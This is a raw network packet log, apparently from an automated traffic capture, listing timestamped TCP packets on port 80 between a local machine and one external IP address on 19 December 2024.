                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.857506037 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.857533932 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.857597113 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.858561993 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.858572960 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.858614922 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.859636068 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.859647036 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.859688044 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.860482931 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.860538960 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.860780001 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.860827923 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.861566067 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.861613989 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.861876965 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.861923933 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.862570047 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.862617970 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.862869024 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.862925053 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.863609076 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.863656998 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.863738060 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.863785028 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.864618063 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.864672899 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.864742994 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.864790916 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.865679979 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.865907907 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.865957022 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.866815090 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.866826057 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.866872072 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.867929935 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.867999077 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.868065119 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.868801117 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.868860960 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.868891954 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.869937897 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.869950056 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.869995117 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.870871067 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.870989084 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.871042013 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.871897936 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.872071028 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.872137070 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.872915983 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.872975111 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.873047113 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.873115063 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.874037027 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.874099970 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.874108076 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.874139071 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.875020027 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.875088930 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.875154018 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.875582933 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.876084089 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.876159906 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.876226902 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.876600027 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.877135992 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.877254963 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.877312899 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.878236055 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.878324032 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.878355980 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.878426075 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.879215002 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.879278898 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.879374027 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.879431963 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.880220890 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.880300999 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.880362988 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.880451918 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.881330013 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.881428957 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.881493092 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.882412910 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.882507086 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.882560015 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.883409977 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.883467913 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.883476973 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.884145021 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.884396076 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.884458065 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.884576082 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.884629011 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.885467052 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.885523081 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.885524988 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.885567904 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.886414051 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.886600018 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.886655092 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.887650013 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.887682915 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.887738943 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.888715029 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.888793945 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.888874054 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.889779091 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.889812946 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.889843941 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.889868021 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.890840054 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.890875101 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.890893936 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.890916109 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.891911983 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.891946077 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.891963959 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.891997099 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.892653942 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.892849922 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.892903090 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.893733978 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.893914938 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.893971920 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.894715071 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.894834042 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.894951105 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.895001888 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.895817995 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.895920038 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.895972013 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.896809101 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.896945953 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.897007942 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.897809982 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.897881985 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.897995949 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.898075104 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.898945093 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.899028063 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.899048090 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.899122953 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.899921894 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.899986029 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.900043011 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.900094986 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.900971889 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.901031971 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.038902998 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.039036989 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.039129972 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.039182901 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.039383888 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.039446115 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.039551973 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.039648056 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.040448904 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.040508986 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.040528059 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.040585041 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.041496038 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.041553020 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.041615009 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.041666985 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.042524099 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.042583942 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.042635918 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.042689085 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.043556929 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.043605089 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.043675900 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.043728113 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.044557095 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.044615030 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.044691086 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.044826031 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.045577049 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.045631886 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.045752048 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.046024084 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.046636105 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.046763897 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.046817064 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.047677994 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.047740936 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.047804117 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.048034906 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.048698902 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.048754930 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.048830986 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.048935890 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.049797058 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.049884081 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.050007105 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.050052881 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.050826073 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.050934076 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.050978899 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.051829100 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.051894903 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.051974058 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.052130938 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.052978039 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.053015947 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.053045034 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.053061962 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.053847075 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.053997993 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.053997993 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.054040909 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.054915905 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.054968119 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.055036068 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.055154085 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.055948019 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.055998087 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.056067944 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.056384087 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.057339907 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.057391882 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.057446957 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.057492971 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.058000088 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.058052063 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.058121920 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.058299065 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.059075117 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.059138060 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.059170008 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.059339046 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.060081005 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.060161114 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.060219049 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.060262918 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.061125040 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.061280012 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.061300039 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.061345100 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.062212944 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.062263012 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.062304974 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.062453032 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.063318014 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.063330889 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.063369989 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.063390017 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.064218044 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.064383030 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.064433098 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.065237045 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.065288067 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.065432072 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.065568924 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.066312075 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.066354990 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.066407919 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.066534996 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.067322969 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.067368031 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.067482948 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.067560911 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.068360090 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.068461895 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.068495035 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.068536043 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.069401026 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.069472075 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.069565058 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.069608927 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:27.070425987 CET804983431.41.244.11192.168.2.5
